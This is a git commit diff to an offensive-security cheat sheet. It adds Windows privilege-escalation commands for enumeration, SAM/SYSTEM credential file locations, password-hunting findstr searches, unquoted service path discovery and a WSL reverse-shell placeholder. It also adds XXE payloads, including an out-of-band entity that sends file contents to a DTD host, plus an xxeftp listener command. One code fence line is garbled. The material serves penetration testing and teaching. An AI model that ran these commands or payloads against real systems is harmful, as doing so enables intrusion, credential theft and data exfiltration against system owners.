Windows Priv Esc - Unquoted Path, Password looting and Powershell version

This commit is contained in:
Swissky 2018-12-25 15:19:45 +01:00
parent cdc3b5e080
commit 38c3bfbd9f
2 changed files with 102 additions and 4 deletions

View file

@ -4,6 +4,7 @@
```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe
```
Architecture
@ -16,12 +17,15 @@ List all env variables
```powershell
set
Get-ChildItem Env: | ft Key,Value
```
List all drives
```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```
## User Enumeration
@ -30,18 +34,28 @@ Get current username
```powershell
echo %USERNAME% || whoami
$env:username
```
List user privilege
```powershell
whoami /priv
```
List all users
```powershell
net user
net users
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
```
List logon requirements; useable for bruteforcing
```powershell
```powershell$env:usernadsc
net accounts
```
@ -57,32 +71,39 @@ List all local groups
```powershell
net localgroup
Get-LocalGroup | ft Name
```
Get details about a group (i.e. administrators)
```powershell
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
```
## Network Enumeration
List all network interfaces
List all network interfaces, IP, and DNS.
```powershell
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
List current routing table
```powershell
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
```
List the ARP table
```powershell
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```
List all current connections
@ -103,12 +124,31 @@ List all network shares
net share
```
SNMP Configuration
```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```
## Looting for passwords
### SAM and SYSTEM files
```powershell
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```
### Search for file contents**
```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
```
### Search for a file with a certain filename
@ -165,12 +205,22 @@ Example content
The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
## Processes Enumeration
### IIS Web config
```powershell
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
## Processes Enumeration and Tasks
What processes are running?
```powershell
tasklist /v
net start
sc query
Get-Service
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
```
Which processes are running as "system"
@ -185,6 +235,32 @@ Do you have powershell magic?
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```
List installed programs
```powershell
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
Scheduled tasks
```powershell
schtasks /query /fo LIST 2>nul | findstr TaskName
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
Startup tasks
```powershell
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```
## Using PowerSploit's PowerUp
Spot the weak service using PowerSploit's PowerUp
@ -206,6 +282,18 @@ wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
## Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
## References
* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
@ -213,4 +301,5 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
* [TOP10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/)
* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/)

View file

@ -10,6 +10,7 @@ Syntax: `<!ENTITY entity_name SYSTEM "entity_value">`
## Summary
- [Tools](#tools)
- [Exploit](#exploit)
- [Basic XXE](#basic-xxe)
- [PHP Wrapper inside XXE](#php-wrapper-inside-xxe)
@ -17,6 +18,13 @@ Syntax: `<!ENTITY entity_name SYSTEM "entity_value">`
- [Blind XXE - Out of Band](#blind-xxe---out-of-Band)
- [XXE in exotic files](#xxe-in-exotic-files)
## Tools
- [xxeftp](https://github.com/staaldraad/xxeserv)
```
sudo ./xxeftp -uno 443 ./xxeftp -w -wps 5555
```
## Exploit
Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element.
@ -184,6 +192,7 @@ File stored on http://127.0.0.1/dtd.xml
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
```
## XXE in exotic files
### XXE inside SOAP